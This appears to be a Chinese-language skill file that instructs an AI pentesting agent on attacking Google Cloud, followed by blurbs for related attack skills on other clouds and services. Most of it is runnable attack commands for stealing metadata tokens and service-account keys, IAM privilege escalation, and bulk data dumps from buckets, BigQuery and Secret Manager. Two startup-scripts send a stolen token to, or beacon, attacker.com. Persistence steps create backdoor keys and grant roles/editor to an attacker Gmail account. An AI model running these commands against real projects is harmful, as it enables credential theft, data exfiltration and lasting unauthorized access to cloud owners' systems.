ワンクリックで
gcp-exploit
// GCP 云环境攻击方法论。当目标使用 Google Cloud Platform、发现 GCP Service Account/Metadata/Storage Bucket 时使用。覆盖 Metadata 服务利用、Service Account 密钥窃取、IAM 提权、GKE 逃逸、Storage Bucket 枚举
// GCP 云环境攻击方法论。当目标使用 Google Cloud Platform、发现 GCP Service Account/Metadata/Storage Bucket 时使用。覆盖 Metadata 服务利用、Service Account 密钥窃取、IAM 提权、GKE 逃逸、Storage Bucket 枚举
| name | gcp-exploit |
| description | GCP 云环境攻击方法论。当目标使用 Google Cloud Platform、发现 GCP Service Account/Metadata/Storage Bucket 时使用。覆盖 Metadata 服务利用、Service Account 密钥窃取、IAM 提权、GKE 逃逸、Storage Bucket 枚举 |
| metadata | {"tags":"gcp,google cloud,service account,metadata,iam,gke,bucket,云攻击,GCP提权","category":"cloud","mitre_attack":"T1078.004,T1552.005,T1530,T1611"} |
与 AWS 的区别:GCP 的 IAM 继承模型 + Service Account 密钥机制 = 独特的攻击路径
# GCP Metadata 端点(需要 Metadata-Flavor header,但不需要 AWS IMDSv2 式 token)
curl -H "Metadata-Flavor: Google" \
http://metadata.google.internal/computeMetadata/v1/
# 获取 Service Account Token
curl -H "Metadata-Flavor: Google" \
"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"
# 获取项目信息
curl -H "Metadata-Flavor: Google" \
"http://metadata.google.internal/computeMetadata/v1/project/project-id"
# 获取实例属性(可能含敏感配置)
curl -H "Metadata-Flavor: Google" \
"http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true"
# SSH 密钥(如果在 metadata 中配置)
curl -H "Metadata-Flavor: Google" \
"http://metadata.google.internal/computeMetadata/v1/project/attributes/ssh-keys"
# 搜索泄露的 SA 密钥(JSON 格式)
grep -r "private_key_id" /path/to/code/
find / -name "*.json" -exec grep -l "client_email.*iam.gserviceaccount.com" {} \;
# 常见位置
# ~/.config/gcloud/
# /root/.config/gcloud/application_default_credentials.json
# 环境变量: GOOGLE_APPLICATION_CREDENTIALS
# Kubernetes Secrets: /var/run/secrets/...
# GitHub/GitLab 泄露
# 公开 Bucket 探测
# GCP Bucket URL 格式:
# https://storage.googleapis.com/BUCKET_NAME
# gs://BUCKET_NAME
# 常见命名模式探测
for prefix in target target-prod target-dev target-backup target-assets; do
status=$(curl -s -o /dev/null -w "%{http_code}" "https://storage.googleapis.com/$prefix")
echo "$prefix: $status"
done
# 使用 GCPBucketBrute
python3 gcpbucketbrute.py -k target -o results.txt
# 使用窃取的 SA 密钥认证
gcloud auth activate-service-account --key-file=stolen-key.json
# 或使用 access token
gcloud config set auth/access_token_file /tmp/token.txt
# 确认身份
gcloud auth list
gcloud config get-value project
# 枚举权限
# 列出当前 SA 的 IAM 角色
gcloud projects get-iam-policy $(gcloud config get-value project) \
--flatten="bindings[].members" \
--filter="bindings.members:$(gcloud config get-value account)"
# 测试具体权限
gcloud asset search-all-iam-policies --query="policy:roles/owner"
GCP IAM 提权路径:
├─ iam.serviceAccountKeys.create → 给高权限 SA 创建新密钥
├─ iam.serviceAccounts.getAccessToken → 直接获取其他 SA 的 token
├─ iam.serviceAccounts.implicitDelegation → 链式委托
├─ iam.serviceAccounts.signBlob → 签署 JWT 冒充其他 SA
├─ iam.serviceAccounts.signJwt → 直接签署 JWT
├─ deploymentmanager.deployments.create → 以 DM SA 身份部署资源
├─ cloudfunctions.functions.create → 创建函数以高权限 SA 执行
├─ compute.instances.create → 创建 VM 挂载高权限 SA
├─ run.services.create → 创建 Cloud Run 挂载 SA
└─ orgpolicy.policy.set → 修改组织策略
# 1. 创建新的 SA 密钥(如果有 iam.serviceAccountKeys.create)
gcloud iam service-accounts keys create /tmp/key.json \
--iam-account=high-priv-sa@project.iam.gserviceaccount.com
# 2. 获取其他 SA 的 Token(如果有 getAccessToken)
gcloud auth print-access-token --impersonate-service-account=target-sa@project.iam.gserviceaccount.com
# 3. 通过 Cloud Function 提权
gcloud functions deploy privesc \
--runtime python39 \
--trigger-http \
--service-account=high-priv-sa@project.iam.gserviceaccount.com \
--source=./malicious-function/
# 函数代码中以 high-priv SA 身份执行操作
# 4. 通过 Compute Instance 提权
gcloud compute instances create privesc-vm \
--service-account=high-priv-sa@project.iam.gserviceaccount.com \
--scopes=cloud-platform \
--metadata=startup-script='curl -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/service-accounts/default/token > /tmp/token; curl https://attacker.com/exfil -d @/tmp/token'
# Storage Bucket 操作
gsutil ls gs:// # 列出所有 bucket
gsutil ls -r gs://target-bucket/ # 递归列出文件
gsutil cp gs://bucket/secret.txt ./ # 下载文件
gsutil cp -r gs://bucket/ ./local-dump/ # 下载全部
# BigQuery 数据导出
bq ls # 列出 datasets
bq ls project:dataset # 列出 tables
bq query "SELECT * FROM \`project.dataset.table\` LIMIT 100"
bq extract project:dataset.table gs://bucket/export.csv
# Secret Manager
gcloud secrets list
gcloud secrets versions access latest --secret=db-password
# Firestore/Datastore
gcloud firestore export gs://bucket/firestore-dump
# 1. 创建新 SA 密钥(最常见)
gcloud iam service-accounts keys create backdoor.json \
--iam-account=existing-sa@project.iam.gserviceaccount.com
# 2. 授予外部账户权限
gcloud projects add-iam-policy-binding PROJECT \
--member='user:attacker@gmail.com' --role='roles/editor'
# 3. 创建 Cloud Function 定时回连
# 通过 Cloud Scheduler 触发 → 定时 beacon
# 4. Compute Engine startup-script 持久化
gcloud compute instances add-metadata INSTANCE \
--metadata=startup-script='curl https://attacker.com/beacon'
| 工具 | 用途 |
|---|---|
| gcloud CLI | GCP 官方工具 |
| GCPBucketBrute | Bucket 枚举 |
| ScoutSuite | 多云安全审计 |
| Prowler | GCP 安全检查 |
| GCP IAM Privilege Escalation | 提权检查工具 |
| Hayat | GCP 攻击框架 |
Azure 云环境渗透测试总体方法论。当目标使用 Azure/Microsoft 365/Entra ID、发现 Azure 相关资产(Blob Storage/App Service/Azure VM/Azure Functions)、获取 Azure 凭据(Service Principal/Managed Identity/Access Token)、或需要对 Azure 环境进行安全评估时使用。提供从未授权枚举到 Entra ID 攻击、服务提权、Cloud-to-OnPrem 横向移动的全流程决策树。覆盖 35+ Azure 服务攻击面
GCP 云环境渗透测试总体方法论。当目标使用 Google Cloud Platform、发现 GCP 相关资产(GCS Bucket/Compute Engine/Cloud Functions/GKE)、获取 GCP 凭据(Service Account Key/OAuth Token/Metadata Token)、或需要对 GCP 环境进行安全评估时使用。提供从未授权枚举到提权、后渗透、GCP-to-Workspace 穿越的全流程决策树。覆盖 37+ GCP 服务攻击面
Serverless/云函数安全测试与攻击。当目标涉及 AWS Lambda、腾讯云 SCF、阿里云 FC、Azure Functions 等 Serverless 服务时使用。当发现 API Gateway 后端是 Lambda/SCF 触发、通过 cloud-aksk-exploit 获取到函数操作权限、或需要分析云函数代码中的漏洞时使用。覆盖事件注入(HTTP/OSS/消息队列触发器参数篡改)、环境变量泄露(硬编码凭据提取)、函数代码注入/覆盖(UpdateFunctionCode)、Runtime 利用(/tmp 写入/Layer 劫持/依赖投毒)、临时凭据滥用。发现任何 Lambda/SCF/云函数、API Gateway、或 Serverless 架构时都应使用此 skill
腾讯云渗透测试方法论。当目标使用腾讯云服务、发现 cos.*.myqcloud.com 资产、获取腾讯云 SecretId/SecretKey、在 CVM 实例内可访问 metadata.tencentyun.com 元数据、或需要对腾讯云 CAM/CVM/COS/TencentDB/TKE/SCF 等服务进行安全评估时使用。覆盖 CAM 提权、CVM 接管、COS 对象存储利用、TencentDB 数据库攻击、TKE 容器集群、SCF 云函数、CLB 负载均衡、CLS 日志服务、KMS 密钥管理
Java 源码注入类漏洞审计。当在 Java 白盒审计中需要检测注入类漏洞时触发。 覆盖 6 种注入: SQL 注入(JDBC/MyBatis/Hibernate/JPA)、命令注入(Runtime.exec/ProcessBuilder)、 SSRF(HttpURLConnection/OkHttp/RestTemplate)、LDAP 注入、SpEL/OGNL 表达式注入、NoSQL 注入(MongoDB)。 需要 java-audit-pipeline 提供的数据流证据(EVID_*)作为审计输入。
FTP 服务(21 端口)渗透测试方法论。涵盖 FTP 服务发现与版本识别、匿名登录测试、目录遍历与文件下载、凭据爆破、已知漏洞利用(vsftpd 后门、ProFTPD 等)、FTP Bounce 攻击。 当 Agent 扫描发现 21 端口开放、需要测试 FTP 匿名访问、枚举 FTP 文件内容、或利用 FTP 服务漏洞时,触发此 Skill。